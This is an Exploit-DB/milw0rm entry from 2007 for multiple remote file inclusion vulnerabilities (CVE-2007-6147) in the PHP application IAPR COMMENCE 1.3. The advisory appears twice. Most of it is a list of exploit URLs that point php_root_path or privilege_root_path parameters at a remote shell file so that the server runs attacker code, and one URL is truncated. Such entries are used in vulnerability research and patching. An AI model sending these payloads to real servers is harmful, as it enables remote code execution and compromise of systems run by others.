EXPLOITS

IAPR COMMENCE 1.3 - Multiple Remote File Inclusions

Author: ShAy6oOoN
type: webapps
platform: php
port: 
date_added: 2007-11-24  
date_updated: 2016-10-25  
verified: 1  
codes: OSVDB-42391;CVE-2007-6147;OSVDB-42390;OSVDB-42389;OSVDB-42388;OSVDB-42387;OSVDB-42386;OSVDB-42385;OSVDB-42384;OSVDB-42383;OSVDB-42382;OSVDB-42381;OSVDB-42380;OSVDB-42379  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comCommenceV1_3.zip  

raw file: 4659.txt  

~~~~~~~~~~~~~~~~~~~~~~~~
~ iaprcommence 1.3 RFI ~
~~~~~~~~~~~~~~~~~~~~~~~

---------------------
Author              : ShAy6oOoN
---------------------
Group               : PitBull Crew
---------------------
Script              : iaprcommence 1.3
---------------------
Download            : http://downloads.sourceforge.net/iaprcommence/CommenceV1_3.zip?modtime=1195816743&big_mirror=0
---------------------
Vulnerability Type  : Remote File Inclusion
---------------------
Method              : get
---------------------
Register_globals    : On
---------------------
Exploit URL's       :
---------------------

http://localhost/Commence/includes/db_connect.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/main_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/output_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/user_authen_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase1.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase1.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase2.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase2.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase3.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase3.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase4.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase4.php?privilege_root_path=[

http://localhost/Commence/admin/phase/phasebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/page.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/pagebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/pagebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase1.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase1.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase2.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase2.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase3.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase3.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase4.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase4.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phasebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phase1.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phase2.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phase3.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phase4.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phasebase.php?php_root_path=http://localhost/shell.txt?


Greetings:
----------

PitBull Crew : The_PitBull - iNs - c0ol - Raz0r


Thanks To:
----------

str0ke

Your smile counts. The more smiles you share, the more we donate. Join in!



~~~~~~~~~~~~~~~~~~~~~~~
~ iaprcommence 1.3 RFI ~
~~~~~~~~~~~~~~~~~~~~~~~

---------------------
Author              : ShAy6oOoN
---------------------
Group               : PitBull Crew
---------------------
Script              : iaprcommence 1.3
---------------------
Download            : http://downloads.sourceforge.net/iaprcommence/CommenceV1_3.zip?modtime=1195816743&big_mirror=0
---------------------
Vulnerability Type  : Remote File Inclusion
---------------------
Method              : get
---------------------
Register_globals    : On
---------------------
Exploit URL's       :
---------------------

http://localhost/Commence/includes/db_connect.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/main_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/output_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/user_authen_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase1.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase1.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase2.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase2.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase3.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase3.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase4.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/admin/phase/phase4.php?privilege_root_path=[

http://localhost/Commence/admin/phase/phasebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/page.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/pagebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/includes/include_all_fns.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/includes/page_includes/pagebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase1.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase1.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase2.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase2.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase3.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase3.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase4.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phase4.php?privilege_root_path=http://localhost/shell.txt?

http://localhost/Commence/reviewer/phase/phasebase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/include_all_phase.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phase1.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phase2.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phase3.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phase4.php?php_root_path=http://localhost/shell.txt?

http://localhost/Commence/user/phase/phasebase.php?php_root_path=http://localhost/shell.txt?


Greetings:
----------

PitBull Crew : The_PitBull - iNs - c0ol - Raz0r


Thanks To:
----------

str0ke

# milw0rm.com [2007-11-25]